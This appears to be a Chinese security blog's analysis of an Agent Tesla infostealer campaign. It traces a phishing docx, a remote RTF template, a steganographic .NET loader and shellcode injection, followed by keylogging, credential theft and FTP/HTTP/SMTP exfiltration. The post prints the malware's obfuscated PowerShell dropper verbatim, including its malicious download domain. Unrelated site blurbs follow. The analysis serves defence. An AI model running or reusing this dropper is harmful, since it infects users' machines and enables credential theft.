Agent Tesla窃密软件分析

VSole2022-03-24 06:42:59



背景描述:

Agent Tesla为一款知名的商业窃密木马,自从2014年Agent Tesla被发现以来一直非常活跃,多个变种层出不穷,主要由.Net 编写,用于从失陷主机上窃取敏感信息,如剪贴板数据,键盘按键记录,能够从Web浏览器,电子邮件客户端和FTP服务器访问信息,屏幕截图等。

分析认为Agent Tesla间谍软件起源于土耳其,该恶意软件通过Vidar或IcedID等垃圾邮件活动广泛传播。它通常以恶意文档或通过恶意Web链接传递给受害者。访问此类链接后,受污染的文档将自动下载到受害者的PC上。

样本概述:

此次分析的样本初始载荷为一个docx文件,运行之后会通过远程模板注入执行目标rtf文件,其中嵌入了多个ole对象去利用vba指令执行powershell去远端下载名为async.exe的恶意软件,然后从资源文件中读取和加载后续恶意dll,攻击者采用隐写技术,将木马执行程序隐藏在图片资源中,dll主要功能为从图片资源中读取并且解密得到一段shellcode将其注入到AppLaunch.exe去执行,这段shellcode也就是最终的Agent Tesla核心功能。

执行流程:

样本分析:

初始载荷:

钓鱼文件名为波兰语项目分析的docx文件,打开后会连接远程服务器获取模板并注入,通过这样的方式可以规避对初始文件的检测

从word\_rels文件夹的settings.xml.rels文件中找到了该word携带的恶意链接地址,从地址下载带后续rtf文档并且自动执行http://office-cloud-reserve.com/Projekt.rtf?raw=true

远程模板rtf:

打开Projekt.rtf文档,弹出宏安全检测,发现是嵌入了多个ole对象,而OLE对象的OOXML中包含混淆的powershell代码,使用oletools提取出来

cmd /c start /min powershell $Computer = '.';
$c = [WMICLASS]"""\$computerrootcimv2:WIn32_Process""";
$f =[WMICLASS]"""\$computerrootcimv2:Win32_ProcessStartup""";
$ty =$f.CreateInstance();
$ty.ShowWindow = 0;
$proc = $c.Create("""Powershell '(&(GCM *W-O*)Net.WebClient).DownloadFile(''http://office-cloud-reserve.com/async.exe'',''$env:APPDATA''async.exe'')'|IEX;
start-process('$env:APPDATA' + 'async.exe')""",$null,$ty)

通过WMI使用 "Win32_Process "类的 "Create "方法来创建一个新的进程执行下载后续的可执行文件http://office-cloud-reserve.com/async.exe,$env:APPDATA从环境变量里找到路径C:\Users\Admin\AppData\Roaming把文件保存在此

async.exe

拖进dnspy里,发现调用的主要处理函数是Myint函数,先通过Decrypt方法解密ArrayBytes内的数据,ArrayBytes为定义的硬编码,解码逻辑分为单双位,单位不变,双位-B,在内存中解码出大小为0xEA00的dll文件,

解密出来为ClassLibrary2.dll文件,同样是由c#编写

加载解码出来的dll

使用InvokeMethod反射调用ClassLibrary2.Program中的Main函数

classlibrary2.dll:

来到classlibrary2.dll的main函数处,接着往下跟,发现会从原始exe中加载其资源节中储存的图片

对加载的图片数据执行函数提取数据

待处理的数据:

对提取出来的数据使用0x20Bytes(ASE-256)大小的密钥以AES加密CBC模式,sha256等方式对数据进行解密处理

最终解密出0x48C00大小的ShellCode

shellcode注入AppLaunch.exe:

先是搜索拼接出AppLaunch.exe的绝对路径,获取句柄

反射调用函数,利用常规的注入方式将解密出来的shellcode远程线程注入进AppLaunch.exe并且执行,先是获取线程上下文

再读取内存空间

申请内存空间

写入内存空间

设置线程上下文

恢复线程

shellcode:

将这段注入的shellcode数据dump出来,文件编译时间是在2020年3月3日

其中的代码都经过混淆处理,还包含了大量的运算和跳转干扰检测和调试分析

直接查看调用结构大致分析一下

主要功能:

1. 获取用户名和电脑名:

2. 屏幕截图保存成jpg

3. 窃取登录凭证:

4. 从远端下载并执行文件:

5. 键盘记录器:

调用函数GetKeyboardState,GetKeyboardLayout,GetForegroundWindow等函数来实现了键盘记录器功能

消息回传方式:

Agent Tesla支持三种方式将窃取数据回传给攻击者,分别是FTP,HTTP,SMTP,先是将获取的信息保存为html文档,命名规则就按照pw_+自己的用户名+电脑名+时间,通过ftp的方式发出

http

ftp

smtp

溯源/关联分析:

通过搜索其使用的该远程注入的模板地址,可以关联到多个Agent Tesla的攻击活动,大部分集中在2020年3月,通过其他的分析文章可以明显发现带有恶意载荷,多篇相关报告攻击指向尼日利亚

伪装Office网站的域名自曝光起持续延用了一年多




软件
本作品采用《CC 协议》,转载必须注明作者和本文链接
根据SecurityScorecard发布的《全球第三方网络安全漏洞报告》显示,2023年大约29%的违规行为可归因于第三方攻击媒介,因为许多违规行为的报告没有指定攻击媒介,所以实际比例可能要更高。MOVEit、CitrixBleed和Proself是2023年的软件供应链方面三个最广泛利用的漏洞,其中MOVEit零日漏洞产生广泛影响可能被归咎于第三方、第四方甚至第五方。
近日,以色列网络安全公司Seal Security宣布获得由Vertex Ventures Israel领投的740万美元种子轮融资,Seal归属软件供应链安全赛道,其研发的平台产品主要利用生成式AI为客户提供自动化的修复解决方案,其平均修复时间可从过去几个月缩短到现在的几个小时,足以以应对软件供应链这一日益严峻的挑战。
通过在开源软件包中插入恶意代码来迅速将恶意软件传播到整个软件供应链中是恶意分子常用的攻击手段。然而,最新的研究发现,如果用户等待大约14天后再将这些软件包更新到最新版本,就可以避免受到软件包劫持攻击的不良影响。
软件组成分析(SCA)应用程序安全测试(AST)工具市场的一个细分市场,负责管理开源组件的使用。SCA工具自动扫描应用程序的代码库,包括容器和注册表等相关构件,以识别所有开源组件、它们的许可证遵从性数据和任何安全漏洞。除了提供对开源使用的可见性之外,一些SCA工具还通过区分优先级和自动补救来帮助修复开源漏洞。SCA工具通常从扫描开始,生成产品中所有开源组件的清单报告,包括所有直接和传递依赖项。拥有
软件安全之CRC检测
2023-04-19 09:47:57
k++)//因为这里异或是从数据的高位开始,所以需要计算的数据左移8位,这里就需要计算8次。1)//判断最高位是否为1. 0xEDB88320;//最高位为1,右移一位,然后与0xEDB88320异或???相当于例子2中110与000异或值是不变的
基于各方在自身领域的专业积累,将此次调研工作进行了明确的分工,并将不定期进行调研分享交流会。
各类攻防演练的结果证明,软件供应链攻击已成为投入低、见效快、易突破的有效方式。总体思路与原则:合规是底线,管理是准则,制度是要求,技术是支撑,服务是保障,流程是协作。安全管理制度的建立,能够规范软件供应链涉及的内部、外部角色的行为,同时提供制度性保障。其次,针对软件开发各阶段与存在的风险,引入对应的安全能力,提供技术支撑,确保安全质量。
新推出的开放框架寻求为公司和安全团队提供全面且可行的方式深入了解软件供应链攻击行为及技术。这项名为开放软件供应链攻击参考(OSC&R)的计划由以色列软件物料安全管理公司OX Security主导,评估软件供应链安全威胁,覆盖一系列攻击途径,比如第三方库和组件漏洞、构建及开发系统供应链攻击,以及被黑或恶意软件更新包。
当下,软件开发安全的理念很火,各行各业都已认识到保障应用系统开发安全的重要性,但是要真正实现起来,结果却不是那么理想。
软件常见漏洞的解析
2022-11-28 10:16:06
理论基础漏洞可以定义为“在软件和硬件组件中发现的计算逻辑(例如代码)中的弱点,当被利用时,会对机密性,完整性
VSole
网络安全专家